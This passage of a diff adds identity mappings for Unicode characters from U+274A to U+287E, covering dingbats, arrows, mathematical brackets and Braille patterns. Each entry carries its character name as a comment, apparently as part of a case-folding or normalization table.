+ ["\u274A", "\u274A"], /* EIGHT TEARDROP-SPOKED PROPELLER ASTERISK */
+ ["\u274B", "\u274B"], /* HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK */
+ ["\u274C", "\u274C"], /* CROSS MARK */
+ ["\u274D", "\u274D"], /* SHADOWED WHITE CIRCLE */
+ ["\u274E", "\u274E"], /* NEGATIVE SQUARED CROSS MARK */
+ ["\u274F", "\u274F"], /* LOWER RIGHT DROP-SHADOWED WHITE SQUARE */
+ ["\u2750", "\u2750"], /* UPPER RIGHT DROP-SHADOWED WHITE SQUARE */
+ ["\u2751", "\u2751"], /* LOWER RIGHT SHADOWED WHITE SQUARE */
+ ["\u2752", "\u2752"], /* UPPER RIGHT SHADOWED WHITE SQUARE */
+ ["\u2753", "\u2753"], /* BLACK QUESTION MARK ORNAMENT */
+ ["\u2754", "\u2754"], /* WHITE QUESTION MARK ORNAMENT */
+ ["\u2755", "\u2755"], /* WHITE EXCLAMATION MARK ORNAMENT */
+ ["\u2756", "\u2756"], /* BLACK DIAMOND MINUS WHITE X */
+ ["\u2757", "\u2757"], /* HEAVY EXCLAMATION MARK SYMBOL */
+ ["\u2758", "\u2758"], /* LIGHT VERTICAL BAR */
+ ["\u2759", "\u2759"], /* MEDIUM VERTICAL BAR */
+ ["\u275A", "\u275A"], /* HEAVY VERTICAL BAR */
+ ["\u275B", "\u275B"], /* HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT */
+ ["\u275C", "\u275C"], /* HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u275D", "\u275D"], /* HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT */
+ ["\u275E", "\u275E"], /* HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u275F", "\u275F"], /* HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u2760", "\u2760"], /* HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT */
+ ["\u2761", "\u2761"], /* CURVED STEM PARAGRAPH SIGN ORNAMENT */
+ ["\u2762", "\u2762"], /* HEAVY EXCLAMATION MARK ORNAMENT */
+ ["\u2763", "\u2763"], /* HEAVY HEART EXCLAMATION MARK ORNAMENT */
+ ["\u2764", "\u2764"], /* HEAVY BLACK HEART */
+ ["\u2765", "\u2765"], /* ROTATED HEAVY BLACK HEART BULLET */
+ ["\u2766", "\u2766"], /* FLORAL HEART */
+ ["\u2767", "\u2767"], /* ROTATED FLORAL HEART BULLET */
+ ["\u2768", "\u2768"], /* MEDIUM LEFT PARENTHESIS ORNAMENT */
+ ["\u2769", "\u2769"], /* MEDIUM RIGHT PARENTHESIS ORNAMENT */
+ ["\u276A", "\u276A"], /* MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT */
+ ["\u276B", "\u276B"], /* MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT */
+ ["\u276C", "\u276C"], /* MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u276D", "\u276D"], /* MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u276E", "\u276E"], /* HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT */
+ ["\u276F", "\u276F"], /* HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT */
+ ["\u2770", "\u2770"], /* HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u2771", "\u2771"], /* HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT */
+ ["\u2772", "\u2772"], /* LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT */
+ ["\u2773", "\u2773"], /* LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT */
+ ["\u2774", "\u2774"], /* MEDIUM LEFT CURLY BRACKET ORNAMENT */
+ ["\u2775", "\u2775"], /* MEDIUM RIGHT CURLY BRACKET ORNAMENT */
+ ["\u2776", "\u2776"], /* DINGBAT NEGATIVE CIRCLED DIGIT ONE (INVERSE CIRCLED DIGIT ONE) */
+ ["\u2777", "\u2777"], /* DINGBAT NEGATIVE CIRCLED DIGIT TWO (INVERSE CIRCLED DIGIT TWO) */
+ ["\u2778", "\u2778"], /* DINGBAT NEGATIVE CIRCLED DIGIT THREE (INVERSE CIRCLED DIGIT THREE) */
+ ["\u2779", "\u2779"], /* DINGBAT NEGATIVE CIRCLED DIGIT FOUR (INVERSE CIRCLED DIGIT FOUR) */
+ ["\u277A", "\u277A"], /* DINGBAT NEGATIVE CIRCLED DIGIT FIVE (INVERSE CIRCLED DIGIT FIVE) */
+ ["\u277B", "\u277B"], /* DINGBAT NEGATIVE CIRCLED DIGIT SIX (INVERSE CIRCLED DIGIT SIX) */
+ ["\u277C", "\u277C"], /* DINGBAT NEGATIVE CIRCLED DIGIT SEVEN (INVERSE CIRCLED DIGIT SEVEN) */
+ ["\u277D", "\u277D"], /* DINGBAT NEGATIVE CIRCLED DIGIT EIGHT (INVERSE CIRCLED DIGIT EIGHT) */
+ ["\u277E", "\u277E"], /* DINGBAT NEGATIVE CIRCLED DIGIT NINE (INVERSE CIRCLED DIGIT NINE) */
+ ["\u277F", "\u277F"], /* DINGBAT NEGATIVE CIRCLED NUMBER TEN (INVERSE CIRCLED NUMBER TEN) */
+ ["\u2780", "\u2780"], /* DINGBAT CIRCLED SANS-SERIF DIGIT ONE (CIRCLED SANS-SERIF DIGIT ONE) */
+ ["\u2781", "\u2781"], /* DINGBAT CIRCLED SANS-SERIF DIGIT TWO (CIRCLED SANS-SERIF DIGIT TWO) */
+ ["\u2782", "\u2782"], /* DINGBAT CIRCLED SANS-SERIF DIGIT THREE (CIRCLED SANS-SERIF DIGIT THREE) */
+ ["\u2783", "\u2783"], /* DINGBAT CIRCLED SANS-SERIF DIGIT FOUR (CIRCLED SANS-SERIF DIGIT FOUR) */
+ ["\u2784", "\u2784"], /* DINGBAT CIRCLED SANS-SERIF DIGIT FIVE (CIRCLED SANS-SERIF DIGIT FIVE) */
+ ["\u2785", "\u2785"], /* DINGBAT CIRCLED SANS-SERIF DIGIT SIX (CIRCLED SANS-SERIF DIGIT SIX) */
+ ["\u2786", "\u2786"], /* DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN (CIRCLED SANS-SERIF DIGIT SEVEN) */
+ ["\u2787", "\u2787"], /* DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT (CIRCLED SANS-SERIF DIGIT EIGHT) */
+ ["\u2788", "\u2788"], /* DINGBAT CIRCLED SANS-SERIF DIGIT NINE (CIRCLED SANS-SERIF DIGIT NINE) */
+ ["\u2789", "\u2789"], /* DINGBAT CIRCLED SANS-SERIF NUMBER TEN (CIRCLED SANS-SERIF NUMBER TEN) */
+ ["\u278A", "\u278A"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE (INVERSE CIRCLED SANS-SERIF DIGIT ONE) */
+ ["\u278B", "\u278B"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO (INVERSE CIRCLED SANS-SERIF DIGIT TWO) */
+ ["\u278C", "\u278C"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE (INVERSE CIRCLED SANS-SERIF DIGIT THREE) */
+ ["\u278D", "\u278D"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR (INVERSE CIRCLED SANS-SERIF DIGIT FOUR) */
+ ["\u278E", "\u278E"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE (INVERSE CIRCLED SANS-SERIF DIGIT FIVE) */
+ ["\u278F", "\u278F"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX (INVERSE CIRCLED SANS-SERIF DIGIT SIX) */
+ ["\u2790", "\u2790"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN (INVERSE CIRCLED SANS-SERIF DIGIT SEVEN) */
+ ["\u2791", "\u2791"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT (INVERSE CIRCLED SANS-SERIF DIGIT EIGHT) */
+ ["\u2792", "\u2792"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE (INVERSE CIRCLED SANS-SERIF DIGIT NINE) */
+ ["\u2793", "\u2793"], /* DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN (INVERSE CIRCLED SANS-SERIF NUMBER TEN) */
+ ["\u2794", "\u2794"], /* HEAVY WIDE-HEADED RIGHTWARDS ARROW (HEAVY WIDE-HEADED RIGHT ARROW) */
+ ["\u2795", "\u2795"], /* HEAVY PLUS SIGN */
+ ["\u2796", "\u2796"], /* HEAVY MINUS SIGN */
+ ["\u2797", "\u2797"], /* HEAVY DIVISION SIGN */
+ ["\u2798", "\u2798"], /* HEAVY SOUTH EAST ARROW (HEAVY LOWER RIGHT ARROW) */
+ ["\u2799", "\u2799"], /* HEAVY RIGHTWARDS ARROW (HEAVY RIGHT ARROW) */
+ ["\u279A", "\u279A"], /* HEAVY NORTH EAST ARROW (HEAVY UPPER RIGHT ARROW) */
+ ["\u279B", "\u279B"], /* DRAFTING POINT RIGHTWARDS ARROW (DRAFTING POINT RIGHT ARROW) */
+ ["\u279C", "\u279C"], /* HEAVY ROUND-TIPPED RIGHTWARDS ARROW (HEAVY ROUND-TIPPED RIGHT ARROW) */
+ ["\u279D", "\u279D"], /* TRIANGLE-HEADED RIGHTWARDS ARROW (TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u279E", "\u279E"], /* HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW (HEAVY TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u279F", "\u279F"], /* DASHED TRIANGLE-HEADED RIGHTWARDS ARROW (DASHED TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u27A0", "\u27A0"], /* HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW (HEAVY DASHED TRIANGLE-HEADED RIGHT ARROW) */
+ ["\u27A1", "\u27A1"], /* BLACK RIGHTWARDS ARROW (BLACK RIGHT ARROW) */
+ ["\u27A2", "\u27A2"], /* THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD (THREE-D TOP-LIGHTED RIGHT ARROWHEAD) */
+ ["\u27A3", "\u27A3"], /* THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD (THREE-D BOTTOM-LIGHTED RIGHT ARROWHEAD) */
+ ["\u27A4", "\u27A4"], /* BLACK RIGHTWARDS ARROWHEAD (BLACK RIGHT ARROWHEAD) */
+ ["\u27A5", "\u27A5"], /* HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW (HEAVY BLACK CURVED DOWN AND RIGHT ARROW) */
+ ["\u27A6", "\u27A6"], /* HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW (HEAVY BLACK CURVED UP AND RIGHT ARROW) */
+ ["\u27A7", "\u27A7"], /* SQUAT BLACK RIGHTWARDS ARROW (SQUAT BLACK RIGHT ARROW) */
+ ["\u27A8", "\u27A8"], /* HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW (HEAVY CONCAVE-POINTED BLACK RIGHT ARROW) */
+ ["\u27A9", "\u27A9"], /* RIGHT-SHADED WHITE RIGHTWARDS ARROW (RIGHT-SHADED WHITE RIGHT ARROW) */
+ ["\u27AA", "\u27AA"], /* LEFT-SHADED WHITE RIGHTWARDS ARROW (LEFT-SHADED WHITE RIGHT ARROW) */
+ ["\u27AB", "\u27AB"], /* BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW (BACK-TILTED SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AC", "\u27AC"], /* FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW (FRONT-TILTED SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AD", "\u27AD"], /* HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (HEAVY LOWER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AE", "\u27AE"], /* HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (HEAVY UPPER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27AF", "\u27AF"], /* NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27B0", "\u27B0"], /* CURLY LOOP */
+ ["\u27B1", "\u27B1"], /* NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ ["\u27B2", "\u27B2"], /* CIRCLED HEAVY WHITE RIGHTWARDS ARROW (CIRCLED HEAVY WHITE RIGHT ARROW) */
+ ["\u27B3", "\u27B3"], /* WHITE-FEATHERED RIGHTWARDS ARROW (WHITE-FEATHERED RIGHT ARROW) */
+ ["\u27B4", "\u27B4"], /* BLACK-FEATHERED SOUTH EAST ARROW (BLACK-FEATHERED LOWER RIGHT ARROW) */
+ ["\u27B5", "\u27B5"], /* BLACK-FEATHERED RIGHTWARDS ARROW (BLACK-FEATHERED RIGHT ARROW) */
+ ["\u27B6", "\u27B6"], /* BLACK-FEATHERED NORTH EAST ARROW (BLACK-FEATHERED UPPER RIGHT ARROW) */
+ ["\u27B7", "\u27B7"], /* HEAVY BLACK-FEATHERED SOUTH EAST ARROW (HEAVY BLACK-FEATHERED LOWER RIGHT ARROW) */
+ ["\u27B8", "\u27B8"], /* HEAVY BLACK-FEATHERED RIGHTWARDS ARROW (HEAVY BLACK-FEATHERED RIGHT ARROW) */
+ ["\u27B9", "\u27B9"], /* HEAVY BLACK-FEATHERED NORTH EAST ARROW (HEAVY BLACK-FEATHERED UPPER RIGHT ARROW) */
+ ["\u27BA", "\u27BA"], /* TEARDROP-BARBED RIGHTWARDS ARROW (TEARDROP-BARBED RIGHT ARROW) */
+ ["\u27BB", "\u27BB"], /* HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW (HEAVY TEARDROP-SHANKED RIGHT ARROW) */
+ ["\u27BC", "\u27BC"], /* WEDGE-TAILED RIGHTWARDS ARROW (WEDGE-TAILED RIGHT ARROW) */
+ ["\u27BD", "\u27BD"], /* HEAVY WEDGE-TAILED RIGHTWARDS ARROW (HEAVY WEDGE-TAILED RIGHT ARROW) */
+ ["\u27BE", "\u27BE"], /* OPEN-OUTLINED RIGHTWARDS ARROW (OPEN-OUTLINED RIGHT ARROW) */
+ ["\u27BF", "\u27BF"], /* DOUBLE CURLY LOOP */
+ ["\u27C0", "\u27C0"], /* THREE DIMENSIONAL ANGLE */
+ ["\u27C1", "\u27C1"], /* WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE */
+ ["\u27C2", "\u27C2"], /* PERPENDICULAR */
+ ["\u27C3", "\u27C3"], /* OPEN SUBSET */
+ ["\u27C4", "\u27C4"], /* OPEN SUPERSET */
+ ["\u27C5", "\u27C5"], /* LEFT S-SHAPED BAG DELIMITER */
+ ["\u27C6", "\u27C6"], /* RIGHT S-SHAPED BAG DELIMITER */
+ ["\u27C7", "\u27C7"], /* OR WITH DOT INSIDE */
+ ["\u27C8", "\u27C8"], /* REVERSE SOLIDUS PRECEDING SUBSET */
+ ["\u27C9", "\u27C9"], /* SUPERSET PRECEDING SOLIDUS */
+ ["\u27CA", "\u27CA"], /* VERTICAL BAR WITH HORIZONTAL STROKE */
+ ["\u27CB", "\u27CB"], /* MATHEMATICAL RISING DIAGONAL */
+ ["\u27CC", "\u27CC"], /* LONG DIVISION */
+ ["\u27CD", "\u27CD"], /* MATHEMATICAL FALLING DIAGONAL */
+ ["\u27CE", "\u27CE"], /* SQUARED LOGICAL AND */
+ ["\u27CF", "\u27CF"], /* SQUARED LOGICAL OR */
+ ["\u27D0", "\u27D0"], /* WHITE DIAMOND WITH CENTRED DOT */
+ ["\u27D1", "\u27D1"], /* AND WITH DOT */
+ ["\u27D2", "\u27D2"], /* ELEMENT OF OPENING UPWARDS */
+ ["\u27D3", "\u27D3"], /* LOWER RIGHT CORNER WITH DOT */
+ ["\u27D4", "\u27D4"], /* UPPER LEFT CORNER WITH DOT */
+ ["\u27D5", "\u27D5"], /* LEFT OUTER JOIN */
+ ["\u27D6", "\u27D6"], /* RIGHT OUTER JOIN */
+ ["\u27D7", "\u27D7"], /* FULL OUTER JOIN */
+ ["\u27D8", "\u27D8"], /* LARGE UP TACK */
+ ["\u27D9", "\u27D9"], /* LARGE DOWN TACK */
+ ["\u27DA", "\u27DA"], /* LEFT AND RIGHT DOUBLE TURNSTILE */
+ ["\u27DB", "\u27DB"], /* LEFT AND RIGHT TACK */
+ ["\u27DC", "\u27DC"], /* LEFT MULTIMAP */
+ ["\u27DD", "\u27DD"], /* LONG RIGHT TACK */
+ ["\u27DE", "\u27DE"], /* LONG LEFT TACK */
+ ["\u27DF", "\u27DF"], /* UP TACK WITH CIRCLE ABOVE */
+ ["\u27E0", "\u27E0"], /* LOZENGE DIVIDED BY HORIZONTAL RULE */
+ ["\u27E1", "\u27E1"], /* WHITE CONCAVE-SIDED DIAMOND */
+ ["\u27E2", "\u27E2"], /* WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK */
+ ["\u27E3", "\u27E3"], /* WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK */
+ ["\u27E4", "\u27E4"], /* WHITE SQUARE WITH LEFTWARDS TICK */
+ ["\u27E5", "\u27E5"], /* WHITE SQUARE WITH RIGHTWARDS TICK */
+ ["\u27E6", "\u27E6"], /* MATHEMATICAL LEFT WHITE SQUARE BRACKET */
+ ["\u27E7", "\u27E7"], /* MATHEMATICAL RIGHT WHITE SQUARE BRACKET */
+ ["\u27E8", "\u27E8"], /* MATHEMATICAL LEFT ANGLE BRACKET */
+ ["\u27E9", "\u27E9"], /* MATHEMATICAL RIGHT ANGLE BRACKET */
+ ["\u27EA", "\u27EA"], /* MATHEMATICAL LEFT DOUBLE ANGLE BRACKET */
+ ["\u27EB", "\u27EB"], /* MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET */
+ ["\u27EC", "\u27EC"], /* MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET */
+ ["\u27ED", "\u27ED"], /* MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET */
+ ["\u27EE", "\u27EE"], /* MATHEMATICAL LEFT FLATTENED PARENTHESIS */
+ ["\u27EF", "\u27EF"], /* MATHEMATICAL RIGHT FLATTENED PARENTHESIS */
+ ["\u27F0", "\u27F0"], /* UPWARDS QUADRUPLE ARROW */
+ ["\u27F1", "\u27F1"], /* DOWNWARDS QUADRUPLE ARROW */
+ ["\u27F2", "\u27F2"], /* ANTICLOCKWISE GAPPED CIRCLE ARROW */
+ ["\u27F3", "\u27F3"], /* CLOCKWISE GAPPED CIRCLE ARROW */
+ ["\u27F4", "\u27F4"], /* RIGHT ARROW WITH CIRCLED PLUS */
+ ["\u27F5", "\u27F5"], /* LONG LEFTWARDS ARROW */
+ ["\u27F6", "\u27F6"], /* LONG RIGHTWARDS ARROW */
+ ["\u27F7", "\u27F7"], /* LONG LEFT RIGHT ARROW */
+ ["\u27F8", "\u27F8"], /* LONG LEFTWARDS DOUBLE ARROW */
+ ["\u27F9", "\u27F9"], /* LONG RIGHTWARDS DOUBLE ARROW */
+ ["\u27FA", "\u27FA"], /* LONG LEFT RIGHT DOUBLE ARROW */
+ ["\u27FB", "\u27FB"], /* LONG LEFTWARDS ARROW FROM BAR */
+ ["\u27FC", "\u27FC"], /* LONG RIGHTWARDS ARROW FROM BAR */
+ ["\u27FD", "\u27FD"], /* LONG LEFTWARDS DOUBLE ARROW FROM BAR */
+ ["\u27FE", "\u27FE"], /* LONG RIGHTWARDS DOUBLE ARROW FROM BAR */
+ ["\u27FF", "\u27FF"], /* LONG RIGHTWARDS SQUIGGLE ARROW */
+ ["\u2800", "\u2800"], /* BRAILLE PATTERN BLANK */
+ ["\u2801", "\u2801"], /* BRAILLE PATTERN DOTS-1 */
+ ["\u2802", "\u2802"], /* BRAILLE PATTERN DOTS-2 */
+ ["\u2803", "\u2803"], /* BRAILLE PATTERN DOTS-12 */
+ ["\u2804", "\u2804"], /* BRAILLE PATTERN DOTS-3 */
+ ["\u2805", "\u2805"], /* BRAILLE PATTERN DOTS-13 */
+ ["\u2806", "\u2806"], /* BRAILLE PATTERN DOTS-23 */
+ ["\u2807", "\u2807"], /* BRAILLE PATTERN DOTS-123 */
+ ["\u2808", "\u2808"], /* BRAILLE PATTERN DOTS-4 */
+ ["\u2809", "\u2809"], /* BRAILLE PATTERN DOTS-14 */
+ ["\u280A", "\u280A"], /* BRAILLE PATTERN DOTS-24 */
+ ["\u280B", "\u280B"], /* BRAILLE PATTERN DOTS-124 */
+ ["\u280C", "\u280C"], /* BRAILLE PATTERN DOTS-34 */
+ ["\u280D", "\u280D"], /* BRAILLE PATTERN DOTS-134 */
+ ["\u280E", "\u280E"], /* BRAILLE PATTERN DOTS-234 */
+ ["\u280F", "\u280F"], /* BRAILLE PATTERN DOTS-1234 */
+ ["\u2810", "\u2810"], /* BRAILLE PATTERN DOTS-5 */
+ ["\u2811", "\u2811"], /* BRAILLE PATTERN DOTS-15 */
+ ["\u2812", "\u2812"], /* BRAILLE PATTERN DOTS-25 */
+ ["\u2813", "\u2813"], /* BRAILLE PATTERN DOTS-125 */
+ ["\u2814", "\u2814"], /* BRAILLE PATTERN DOTS-35 */
+ ["\u2815", "\u2815"], /* BRAILLE PATTERN DOTS-135 */
+ ["\u2816", "\u2816"], /* BRAILLE PATTERN DOTS-235 */
+ ["\u2817", "\u2817"], /* BRAILLE PATTERN DOTS-1235 */
+ ["\u2818", "\u2818"], /* BRAILLE PATTERN DOTS-45 */
+ ["\u2819", "\u2819"], /* BRAILLE PATTERN DOTS-145 */
+ ["\u281A", "\u281A"], /* BRAILLE PATTERN DOTS-245 */
+ ["\u281B", "\u281B"], /* BRAILLE PATTERN DOTS-1245 */
+ ["\u281C", "\u281C"], /* BRAILLE PATTERN DOTS-345 */
+ ["\u281D", "\u281D"], /* BRAILLE PATTERN DOTS-1345 */
+ ["\u281E", "\u281E"], /* BRAILLE PATTERN DOTS-2345 */
+ ["\u281F", "\u281F"], /* BRAILLE PATTERN DOTS-12345 */
+ ["\u2820", "\u2820"], /* BRAILLE PATTERN DOTS-6 */
+ ["\u2821", "\u2821"], /* BRAILLE PATTERN DOTS-16 */
+ ["\u2822", "\u2822"], /* BRAILLE PATTERN DOTS-26 */
+ ["\u2823", "\u2823"], /* BRAILLE PATTERN DOTS-126 */
+ ["\u2824", "\u2824"], /* BRAILLE PATTERN DOTS-36 */
+ ["\u2825", "\u2825"], /* BRAILLE PATTERN DOTS-136 */
+ ["\u2826", "\u2826"], /* BRAILLE PATTERN DOTS-236 */
+ ["\u2827", "\u2827"], /* BRAILLE PATTERN DOTS-1236 */
+ ["\u2828", "\u2828"], /* BRAILLE PATTERN DOTS-46 */
+ ["\u2829", "\u2829"], /* BRAILLE PATTERN DOTS-146 */
+ ["\u282A", "\u282A"], /* BRAILLE PATTERN DOTS-246 */
+ ["\u282B", "\u282B"], /* BRAILLE PATTERN DOTS-1246 */
+ ["\u282C", "\u282C"], /* BRAILLE PATTERN DOTS-346 */
+ ["\u282D", "\u282D"], /* BRAILLE PATTERN DOTS-1346 */
+ ["\u282E", "\u282E"], /* BRAILLE PATTERN DOTS-2346 */
+ ["\u282F", "\u282F"], /* BRAILLE PATTERN DOTS-12346 */
+ ["\u2830", "\u2830"], /* BRAILLE PATTERN DOTS-56 */
+ ["\u2831", "\u2831"], /* BRAILLE PATTERN DOTS-156 */
+ ["\u2832", "\u2832"], /* BRAILLE PATTERN DOTS-256 */
+ ["\u2833", "\u2833"], /* BRAILLE PATTERN DOTS-1256 */
+ ["\u2834", "\u2834"], /* BRAILLE PATTERN DOTS-356 */
+ ["\u2835", "\u2835"], /* BRAILLE PATTERN DOTS-1356 */
+ ["\u2836", "\u2836"], /* BRAILLE PATTERN DOTS-2356 */
+ ["\u2837", "\u2837"], /* BRAILLE PATTERN DOTS-12356 */
+ ["\u2838", "\u2838"], /* BRAILLE PATTERN DOTS-456 */
+ ["\u2839", "\u2839"], /* BRAILLE PATTERN DOTS-1456 */
+ ["\u283A", "\u283A"], /* BRAILLE PATTERN DOTS-2456 */
+ ["\u283B", "\u283B"], /* BRAILLE PATTERN DOTS-12456 */
+ ["\u283C", "\u283C"], /* BRAILLE PATTERN DOTS-3456 */
+ ["\u283D", "\u283D"], /* BRAILLE PATTERN DOTS-13456 */
+ ["\u283E", "\u283E"], /* BRAILLE PATTERN DOTS-23456 */
+ ["\u283F", "\u283F"], /* BRAILLE PATTERN DOTS-123456 */
+ ["\u2840", "\u2840"], /* BRAILLE PATTERN DOTS-7 */
+ ["\u2841", "\u2841"], /* BRAILLE PATTERN DOTS-17 */
+ ["\u2842", "\u2842"], /* BRAILLE PATTERN DOTS-27 */
+ ["\u2843", "\u2843"], /* BRAILLE PATTERN DOTS-127 */
+ ["\u2844", "\u2844"], /* BRAILLE PATTERN DOTS-37 */
+ ["\u2845", "\u2845"], /* BRAILLE PATTERN DOTS-137 */
+ ["\u2846", "\u2846"], /* BRAILLE PATTERN DOTS-237 */
+ ["\u2847", "\u2847"], /* BRAILLE PATTERN DOTS-1237 */
+ ["\u2848", "\u2848"], /* BRAILLE PATTERN DOTS-47 */
+ ["\u2849", "\u2849"], /* BRAILLE PATTERN DOTS-147 */
+ ["\u284A", "\u284A"], /* BRAILLE PATTERN DOTS-247 */
+ ["\u284B", "\u284B"], /* BRAILLE PATTERN DOTS-1247 */
+ ["\u284C", "\u284C"], /* BRAILLE PATTERN DOTS-347 */
+ ["\u284D", "\u284D"], /* BRAILLE PATTERN DOTS-1347 */
+ ["\u284E", "\u284E"], /* BRAILLE PATTERN DOTS-2347 */
+ ["\u284F", "\u284F"], /* BRAILLE PATTERN DOTS-12347 */
+ ["\u2850", "\u2850"], /* BRAILLE PATTERN DOTS-57 */
+ ["\u2851", "\u2851"], /* BRAILLE PATTERN DOTS-157 */
+ ["\u2852", "\u2852"], /* BRAILLE PATTERN DOTS-257 */
+ ["\u2853", "\u2853"], /* BRAILLE PATTERN DOTS-1257 */
+ ["\u2854", "\u2854"], /* BRAILLE PATTERN DOTS-357 */
+ ["\u2855", "\u2855"], /* BRAILLE PATTERN DOTS-1357 */
+ ["\u2856", "\u2856"], /* BRAILLE PATTERN DOTS-2357 */
+ ["\u2857", "\u2857"], /* BRAILLE PATTERN DOTS-12357 */
+ ["\u2858", "\u2858"], /* BRAILLE PATTERN DOTS-457 */
+ ["\u2859", "\u2859"], /* BRAILLE PATTERN DOTS-1457 */
+ ["\u285A", "\u285A"], /* BRAILLE PATTERN DOTS-2457 */
+ ["\u285B", "\u285B"], /* BRAILLE PATTERN DOTS-12457 */
+ ["\u285C", "\u285C"], /* BRAILLE PATTERN DOTS-3457 */
+ ["\u285D", "\u285D"], /* BRAILLE PATTERN DOTS-13457 */
+ ["\u285E", "\u285E"], /* BRAILLE PATTERN DOTS-23457 */
+ ["\u285F", "\u285F"], /* BRAILLE PATTERN DOTS-123457 */
+ ["\u2860", "\u2860"], /* BRAILLE PATTERN DOTS-67 */
+ ["\u2861", "\u2861"], /* BRAILLE PATTERN DOTS-167 */
+ ["\u2862", "\u2862"], /* BRAILLE PATTERN DOTS-267 */
+ ["\u2863", "\u2863"], /* BRAILLE PATTERN DOTS-1267 */
+ ["\u2864", "\u2864"], /* BRAILLE PATTERN DOTS-367 */
+ ["\u2865", "\u2865"], /* BRAILLE PATTERN DOTS-1367 */
+ ["\u2866", "\u2866"], /* BRAILLE PATTERN DOTS-2367 */
+ ["\u2867", "\u2867"], /* BRAILLE PATTERN DOTS-12367 */
+ ["\u2868", "\u2868"], /* BRAILLE PATTERN DOTS-467 */
+ ["\u2869", "\u2869"], /* BRAILLE PATTERN DOTS-1467 */
+ ["\u286A", "\u286A"], /* BRAILLE PATTERN DOTS-2467 */
+ ["\u286B", "\u286B"], /* BRAILLE PATTERN DOTS-12467 */
+ ["\u286C", "\u286C"], /* BRAILLE PATTERN DOTS-3467 */
+ ["\u286D", "\u286D"], /* BRAILLE PATTERN DOTS-13467 */
+ ["\u286E", "\u286E"], /* BRAILLE PATTERN DOTS-23467 */
+ ["\u286F", "\u286F"], /* BRAILLE PATTERN DOTS-123467 */
+ ["\u2870", "\u2870"], /* BRAILLE PATTERN DOTS-567 */
+ ["\u2871", "\u2871"], /* BRAILLE PATTERN DOTS-1567 */
+ ["\u2872", "\u2872"], /* BRAILLE PATTERN DOTS-2567 */
+ ["\u2873", "\u2873"], /* BRAILLE PATTERN DOTS-12567 */
+ ["\u2874", "\u2874"], /* BRAILLE PATTERN DOTS-3567 */
+ ["\u2875", "\u2875"], /* BRAILLE PATTERN DOTS-13567 */
+ ["\u2876", "\u2876"], /* BRAILLE PATTERN DOTS-23567 */
+ ["\u2877", "\u2877"], /* BRAILLE PATTERN DOTS-123567 */
+ ["\u2878", "\u2878"], /* BRAILLE PATTERN DOTS-4567 */
+ ["\u2879", "\u2879"], /* BRAILLE PATTERN DOTS-14567 */
+ ["\u287A", "\u287A"], /* BRAILLE PATTERN DOTS-24567 */
+ ["\u287B", "\u287B"], /* BRAILLE PATTERN DOTS-124567 */
+ ["\u287C", "\u287C"], /* BRAILLE PATTERN DOTS-34567 */
+ ["\u287D", "\u287D"], /* BRAILLE PATTERN DOTS-134567 */
+ ["\u287E", "\u287E"], /* BRAILLE PATTERN DOTS-234567 */
